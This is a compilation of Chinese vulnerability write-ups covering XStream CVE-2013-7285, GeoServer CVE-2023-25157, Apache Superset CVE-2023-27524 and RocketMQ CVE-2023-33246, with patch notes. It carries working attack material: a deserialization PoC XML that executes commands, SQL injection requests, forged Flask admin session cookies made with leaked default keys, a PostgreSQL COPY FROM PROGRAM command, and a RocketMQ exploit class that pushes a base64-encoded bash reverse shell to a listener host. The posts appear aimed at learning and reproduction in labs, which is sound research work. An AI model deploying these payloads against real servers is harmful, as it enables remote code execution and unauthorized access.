Deserialize.java import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.File;   import java.io.FileInputStream;   import java.io.FileNotFoundException;   import java.util.Scanner;     public class Deserialize {      public static void main(String[] args) throws FileNotFoundException {   //       String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();          FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xstream = new XStream(new DomDriver());          Person p = (Person) xstream.fromXML(xml);          p.output();     }   } XStream 几个部分 XStream 类图,参考./https://www.jianshu.com/p/387c568faf62: 主要分为四个部分: MarshallingStrategy 编码策略 marshall : object->xml 编码 unmarshall : xml-> object 解码 两个重要的实现类: com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 调用 Mapper 和 Converter 把 XML 转化成 Java 对象 其中的 start 方法开始编组 其中调用了 this.convertAnother(item) 方法 convertAnother 方法的作用是把 XML 转化成 Java 对象。 Mapper 映射器 简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。 Converter 转换器 XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。 转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。 简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。 转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher canConvert 方法:告诉 XStream 对象,它能够转换的对象; marshal 方法:能够将对象转换为 XML 时候的具体操作; unmarshal 方法:能够将 XML 转换为对象时的具体操作; 具体参考:http://x-stream.github.io/converters.html 这里告诉了我们针对各种对象,XStream 都做了哪些支持。 EventHandler 类 EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。 EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。 EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用: public class EventHandler implements InvocationHandler {      private Object target;      private String action;   ...     public Object invoke(final Object proxy, final Method method, final Object[] arguments) {         ...                  return invokeInternal(proxy, method, arguments);         ...     }         private Object invokeInternal(Object proxy, Method method, Object[] arguments) {         ...                                Method targetMethod = Statement.getMethod(                               target.getClass(), action, argTypes);                 ...                  return MethodUtil.invoke(targetMethod, target, newArgs);             }             ...     }     ...   } 这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释: private Object invokeInternal(Object var1, Method var2, Object[] var3) {   //-------------------------------------part1----------------------------------   //作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称          String var4 = var2.getName();          if (var2.getDeclaringClass() == Object.class) {              if (var4.equals("hashCode")) {                  return new Integer(System.identityHashCode(var1));             }                if (var4.equals("equals")) {                  return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;             }                if (var4.equals("toString")) {                  return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());             }         }   //-------------------------------------part2----------------------------------   //貌似获取了一个class和object          if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {              return null;         } else {              Class[] var5 = null;              Object[] var6 = null;              if (this.eventPropertyName == null) {                  var6 = new Object[0];                  var5 = new Class[0];             } else {                  Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());                  var6 = new Object[]{var7};                  var5 = new Class[]{var7 == null ? null : var7.getClass()};             }   //------------------------------------------------------------------------------              try {                  int var12 = this.action.lastIndexOf(46);                  if (var12 != -1) {                      this.target = this.applyGetters(this.target, this.action.substring(0, var12));                      this.action = this.action.substring(var12 + 1);                 }   //--------------------------------------part3----------------------------------------   //var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException                  Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);   //--------------------------------------------------------------------------   //判断var13是否为空,当然不为空啦                  if (var13 == null) {                      var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);                 }                    if (var13 == null) {                      String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];                      throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);                 } else {   //-------------------------------------part4----------------------------------   //调用invoke,调用函数,执行命令                      return MethodUtil.invoke(var13, this.target, var6);                 }   //------------------------------------------------------------------------------             } catch (IllegalAccessException var10) {                  throw new RuntimeException(var10);             } catch (InvocationTargetException var11) {                  Throwable var8 = var11.getTargetException();                  throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);             }         }   } 有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink DynamicProxyConverter 动态代理转换器 DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象: XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。 以官网给的例子为例: <dynamic-proxy>    <interface>com.foo.Blah</interface>    <interface>com.foo.Woo</interface>    <handler class="com.foo.MyHandler">      <something>blah</something>    </handler>   </dynamic-proxy> dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler 0x02 CVE-2013-7285 PoC <sorted-set>    <dynamic-proxy>      <interface>java.lang.Comparable</interface>      <handler class="java.beans.EventHandler">        <target class="java.lang.ProcessBuilder">          <command>            <string>Calc</string>          </command>        </target>        <action>start</action>      </handler>    </dynamic-proxy>   </sorted-set> 看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了 触发代码 import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.FileInputStream;     // CVE_2013_7285 Exploit   public class CVE_2013_7285 {      public static void main(String[] args) throws Exception{          FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xStream = new XStream(new DomDriver());          xStream.fromXML(fileInputStream);     }   } 漏洞原理 XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。 利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。 漏洞分析 下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型 后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型 接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器 往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。 接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法: 在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。 跟进之后就变得一目了然了,其中判断 reader 是否还有子元素 下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker 往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中: 跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中 这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用 可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个) 经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。 先判断当前元素是否还有子元素,并获取该子元素进行后续判断 根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。 因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。 往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类 往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren() 这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法 后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。 将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方 跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据 最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的 invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1294, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) 最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行 0x03 漏洞修复 根据官方的修复手段,这里其实增加了黑名单 Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case: xstream.registerConverter(new Converter() {  public boolean canConvert(Class type) {    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); }  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); }  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW); 0x04 小结 XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
浅析GeoServer CVE-2023-25157 SQL注入
简介 GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。 影响版本 geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2 环境搭建 安装方式有多种可以选择 windwos下载安装 https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装 war包安装 tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址 https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。 启动tomcat 访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081 http://localhost:8081/geoserver/web/ 分析 POC下载链接 https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081 查看提交的补丁分析一下漏洞 https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块 属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程 public ConfigDatabase(            JDBCLoaderProperties properties,            DataSource dataSource,            XStreamInfoSerialBinding binding) {        this(properties, dataSource, binding, null);   }    public ConfigDatabase(            JDBCLoaderProperties properties,            final DataSource dataSource,            final XStreamInfoSerialBinding binding,            CacheProvider cacheProvider) {        this.properties = properties;        this.binding = binding;        this.template = new NamedParameterJdbcTemplate(dataSource); 通过使用参数化查询而不是字符串连接 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改         //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");         //sql.append(") query\n");           sql.insert(                   0,                   "SELECT * FROM (SELECT query.*, rownum rnum FROM ("                           + (isDebugMode() ? "\n" : ""));           sql.append(") query");           appendIfDebug(sql, "\n", " "); 修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java 中定义 public boolean isDebugMode() {        return debugMode;   }    public void setDebugMode(boolean debugMode) {        this.debugMode = debugMode;   }    /** Escapes the contents of the SQL comment to prevent SQL injection. */    public String escapeComment(String comment) {        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");   }    /** Appends the objects to the SQL in a comment if debug mode is enabled. */    public StringBuilder appendComment(StringBuilder sql, Object... objects) {        if (!debugMode) {            return sql;       }        sql.append(" /* ");        for (Object object : objects) {            sql.append(escapeComment(String.valueOf(object)));       }        return sql.append(" */\n");   }    /** Appends the objects to the SQL in an comment if debug mode is enabled. */    public StringBuilder appendComment(Object sql, Object... objects) {        return appendComment((StringBuilder) sql, objects);   }    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {        return sql.append(debugMode ? ifEnabled : ifDisabled);   } 获取功能名POC GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 获取功能属性POC GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 构造恶意payload GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 这里引用一张图,geotools的注入漏洞 漏洞编号CVE-2023-25158,查看补丁发现 在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符 // single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding); 调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号 public static String escapeLiteral(           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {           // ' --> ''           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");           if (escapeBackslash) {               // \ --> \\               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");           }           if (escapeDoubleQuote) {               // " --> \"               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");           }           return escaped; 至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章 https://blog.csdn.net/nmj2008/article/details/113869086修复方案 升级安全版本,目前已经有最新版本。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介 Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍ 环境搭建 可以通过 fofa 来搜索相关网站 "Apache Superset" 这里我们通过 docker 来在本地搭建环境 git clone https://github.com/apache/superset.git cd superset git checkout 2.0.0 TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up 官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找 https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0 docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin docker exec -it superset superset db upgrade docker exec -it superset superset load_examples docker exec -it superset superset init 漏洞复现 利用脚本检测是否存在漏洞并生成相对应的 cookie 访问主页抓取数据包 将生成的 session 替换原本的 session 成功登录 接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。 经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; 漏洞分析 感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥 SECRET_KEYS = [   b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1   b'thisISaSECRET_1234',                            # deployment template   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation   b'TEST_NON_DEV_SECRET'                            # docker compose ] Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。 整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。 首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中 >>> from flask_unsign import session >>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY") {'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'} >>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY' >>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM") {'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1} 漏洞修复 拒绝在非调试环境中使用默认密码启动 ‍
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。 影响版本 <=RocketMQ 5.1.0 <=RocketMQ 4.9.5 环境搭建 docker pull apache/rocketmq:4.9.4 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv     //起nameserver 创建broker.conf,并且修改配置文件内容 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf   //起Broker docker ps http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876 python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt 使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题 cd vulhub/rocketmq/CVE-2023-33246 docker-compose up -d POC如下 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "目的IP";        String targetPort = "10911";            String shellHost = "VPSIP";        String shellPort = "Listen-port";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 使用IDEA创建maven项目,创建xml文件下载依赖,下载地址 https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version> </dependency> 修改POC import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "10.10.14.72";        String targetPort = "10911";            String shellHost = "10.10.14.72";        String shellPort = "65532";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 反弹结果 git clone https://github.com/SuperZero/CVE-2023-33246.git java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt" 进入容器,查看根部录下文件是已写入 java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1" 反弹shell 漏洞分析 启动broker路由如下: main:50, BrokerStartup (org.apache.rocketmq.broker) start:55, BrokerStartup (org.apache.rocketmq.broker) start:1570, BrokerController (org.apache.rocketmq.broker) startBasicService:1527, BrokerController (org.apache.rocketmq.broker) start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv) 当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行 调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand 该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd 进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令 该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
利用 PHP 特性绕 WAF 测试
